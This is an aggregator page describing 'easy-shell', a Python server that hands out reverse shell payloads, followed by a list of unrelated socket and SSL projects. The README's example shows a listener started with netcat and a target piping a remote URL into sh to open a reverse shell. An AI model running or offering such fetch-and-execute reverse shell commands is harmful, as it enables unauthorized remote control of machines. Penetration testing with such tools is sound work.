All Projects → cristianzsh → easy-shell

cristianzsh / easy-shell

Licence: BSD-3-Clause license
A pure Python script to easily get a reverse shell

Programming Languages

python
139335 projects - #7 most used programming language

Projects that are alternatives of or similar to easy-shell

Beetlex
high performance dotnet core socket tcp communication components, support TLS, HTTP, HTTPS, WebSocket, RPC, Redis protocols, custom protocols and 1M connections problem solution
Stars: ✭ 802 (+1570.83%)
Mutual labels:  ssl, socket, webserver
Bigq
Messaging platform in C# for TCP and Websockets, with or without SSL
Stars: ✭ 18 (-62.5%)
Mutual labels:  ssl, socket
Elixir Socket
Socket wrapping for Elixir.
Stars: ✭ 642 (+1237.5%)
Mutual labels:  ssl, socket
Openssl examples
examples of using OpenSSL
Stars: ✭ 67 (+39.58%)
Mutual labels:  ssl, socket
Yasio
A multi-platform support c++11 library with focus on asio (asynchronous socket I/O) for any client application.
Stars: ✭ 483 (+906.25%)
Mutual labels:  ssl, socket
Testssl.sh
Testing TLS/SSL encryption anywhere on any port
Stars: ✭ 5,676 (+11725%)
Mutual labels:  ssl, socket
Danode
Small and flexible web server written using the D 2.0 language
Stars: ✭ 50 (+4.17%)
Mutual labels:  ssl, webserver
httpsify
a transparent HTTPS termination proxy using letsencrypt with auto certification renewal
Stars: ✭ 107 (+122.92%)
Mutual labels:  ssl, webserver
Tls Channel
A Java library that implements a ByteChannel interface over SSLEngine, enabling easy-to-use (socket-like) TLS for Java applications.
Stars: ✭ 113 (+135.42%)
Mutual labels:  ssl, socket
Androidasyncsocketexamples
This project includes a few examples on how to create different types of sockets using AndroidAsync. It includes examples for a TCP client/server, TCP client with SSL and UDP client/server.
Stars: ✭ 152 (+216.67%)
Mutual labels:  ssl, socket
Bitnami Docker Nginx
Bitnami nginx Docker Image
Stars: ✭ 198 (+312.5%)
Mutual labels:  ssl, webserver
Telegraph
Secure Web Server for iOS, tvOS and macOS
Stars: ✭ 474 (+887.5%)
Mutual labels:  ssl, webserver
Hp Socket
High Performance TCP/UDP/HTTP Communication Component
Stars: ✭ 4,420 (+9108.33%)
Mutual labels:  ssl, socket
LBDuoDian
No description or website provided.
Stars: ✭ 21 (-56.25%)
Mutual labels:  ssl, urllib
bmcweb
A do everything Redfish, KVM, GUI, and DBus webserver for OpenBMC
Stars: ✭ 109 (+127.08%)
Mutual labels:  ssl, webserver
Nico
A HTTP2 web server for reverse proxy and single page application, automatically apply for ssl certificate, Zero-Configuration.
Stars: ✭ 43 (-10.42%)
Mutual labels:  ssl, webserver
Reverse Shell Manager
🔨 A multiple reverse shell session/client manager via terminal
Stars: ✭ 171 (+256.25%)
Mutual labels:  socket, reverse-shell
Betterbackdoor
A backdoor with a multitude of features.
Stars: ✭ 195 (+306.25%)
Mutual labels:  socket, reverse-shell
Pric
Simple zero-config tool to create Private Certificate Authority & issue locally-trusted development server certificates with any domain names you'd like. SSL certificates for development purposes.
Stars: ✭ 87 (+81.25%)
Mutual labels:  ssl, webserver
Python Mocket
a socket mock framework - for all kinds of socket animals, web-clients included
Stars: ✭ 209 (+335.42%)
Mutual labels:  ssl, socket

easy-shell

A pure Python script to easily get a reverse shell.

How it works?

After sending a request, it generates a payload with different commands available to get a reverse shell (python, perl, awk, and more).

Example

Attacker machine
$ whoami
attacker

$ nc -l 8080
sh-4.4$ whoami
centos
sh-4.4$ pwd
/home/centos
Target machine
$ whoami
target

$ curl http://easy-shell.xyz/192.168.0.52:8080 | sh

Running the server

Edit the following lines on easy_shell.py according to your needs:

PORT = 8080
DOMAIN = "http://127.0.0.1:{}".format(str(PORT))

HTTPS = False
KEY_FILE = "keyfile.key"
CERT_FILE = "certfile.cert"

If you want to run it over HTTPS, execute the following commands:

$ openssl genrsa 2048 > keyfile.key && chmod 400 keyfile.key
$ openssl req -new -x509 -nodes -sha256 -days 365 -key keyfile.key -out certfile.cert

Used modules

License

This project is licensed under the 3-Clause BSD License.

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].